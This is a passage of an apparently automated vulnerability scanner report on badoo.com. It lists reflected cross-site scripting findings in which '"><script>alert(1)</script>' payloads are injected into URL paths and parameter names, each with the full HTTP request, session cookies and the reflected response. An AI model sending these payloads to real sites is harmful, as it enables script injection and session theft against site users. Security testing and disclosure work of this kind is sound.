Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5757

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/0105538343842bea"><script>alert(1)</script>8af082f3ab1/?lang_id=5">
...[SNIP]...

3.7. http://badoo.com/019278355/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/019278355/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50e39"><script>alert(1)</script>68bd8aa68f6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /01927835550e39"><script>alert(1)</script>68bd8aa68f6/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:56:21 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:20 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5725

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/01927835550e39"><script>alert(1)</script>68bd8aa68f6/?lang_id=5">
...[SNIP]...

3.8. http://badoo.com/02311783/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/02311783/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f81bb"><script>alert(1)</script>056a54f481a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /02311783f81bb"><script>alert(1)</script>056a54f481a/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:54 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:53 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5709

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/02311783f81bb"><script>alert(1)</script>056a54f481a/?lang_id=5">
...[SNIP]...

3.9. http://badoo.com/041636801/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/041636801/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3a82"><script>alert(1)</script>1efc28fead3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /041636801d3a82"><script>alert(1)</script>1efc28fead3/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Referer: http://badoo.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 16:23:48 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 6365

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/041636801d3a82"><script>alert(1)</script>1efc28fead3/?lang_id=5&sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4">
...[SNIP]...

3.10. http://badoo.com/09303027/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/09303027/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44711"><script>alert(1)</script>a25734c99d8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /0930302744711"><script>alert(1)</script>a25734c99d8/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:54:05 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:04 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5709

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/0930302744711"><script>alert(1)</script>a25734c99d8/?lang_id=5">
...[SNIP]...

3.11. http://badoo.com/093407644/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/093407644/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17b57"><script>alert(1)</script>e04806f6ef9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /09340764417b57"><script>alert(1)</script>e04806f6ef9/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:57:13 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:12 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5725

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/09340764417b57"><script>alert(1)</script>e04806f6ef9/?lang_id=5">
...[SNIP]...

3.12. http://badoo.com/096807871/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/096807871/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce2c4"><script>alert(1)</script>65d075ed674 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /096807871ce2c4"><script>alert(1)</script>65d075ed674/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:35 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:34 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5725

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/096807871ce2c4"><script>alert(1)</script>65d075ed674/?lang_id=5">
...[SNIP]...

3.13. http://badoo.com/2rcabrera/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/2rcabrera/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5f01"><script>alert(1)</script>c4f194e31c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2rcabrerab5f01"><script>alert(1)</script>c4f194e31c4/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:52:39 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:52:38 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5725

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/2rcabrerab5f01"><script>alert(1)</script>c4f194e31c4/?lang_id=5">
...[SNIP]...

3.14. http://badoo.com/aammetys/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/aammetys/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd1f0"><script>alert(1)</script>2f8a7e1a0fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aammetysdd1f0"><script>alert(1)</script>2f8a7e1a0fb/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:52 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:51 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5709

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/aammetysdd1f0"><script>alert(1)</script>2f8a7e1a0fb/?lang_id=5">
...[SNIP]...

3.15. http://badoo.com/about/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/about/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d5c3"><script>alert(1)</script>d26d9cf6f09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /about5d5c3"><script>alert(1)</script>d26d9cf6f09/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:58 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:57 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5661

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/about5d5c3"><script>alert(1)</script>d26d9cf6f09/?lang_id=5">
...[SNIP]...

3.16. http://badoo.com/about/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/about/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55ffd"><script>alert(1)</script>4061df37053 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /about/?55ffd"><script>alert(1)</script>4061df37053=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:46 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:45 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 7386

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/about/?lang_id=5&55ffd"><script>alert(1)</script>4061df37053=1">
...[SNIP]...

3.17. http://badoo.com/andresitopapito/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/andresitopapito/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d225e"><script>alert(1)</script>eed1237a255 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /andresitopapitod225e"><script>alert(1)</script>eed1237a255/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:56:43 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:42 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5821

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/andresitopapitod225e"><script>alert(1)</script>eed1237a255/?lang_id=5">
...[SNIP]...

3.18. http://badoo.com/association/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/association/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e269"><script>alert(1)</script>00714dfd71a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /association8e269"><script>alert(1)</script>00714dfd71a/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:56:23 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:22 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5757

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/association8e269"><script>alert(1)</script>00714dfd71a/?lang_id=5">
...[SNIP]...

3.19. http://badoo.com/dating/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/dating/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a27e"><script>alert(1)</script>439270dfe2f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /dating8a27e"><script>alert(1)</script>439270dfe2f/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:58:16 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:58:15 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5677

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/dating8a27e"><script>alert(1)</script>439270dfe2f/?lang_id=5">
...[SNIP]...

3.20. http://badoo.com/dating/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/dating/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0e5e"><script>alert(1)</script>17a4df24d25 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /dating/?a0e5e"><script>alert(1)</script>17a4df24d25=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

3.21. http://badoo.com/dinoitalia/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/dinoitalia/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54fdf"><script>alert(1)</script>8916a6df4a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /dinoitalia54fdf"><script>alert(1)</script>8916a6df4a5/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:51:40 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
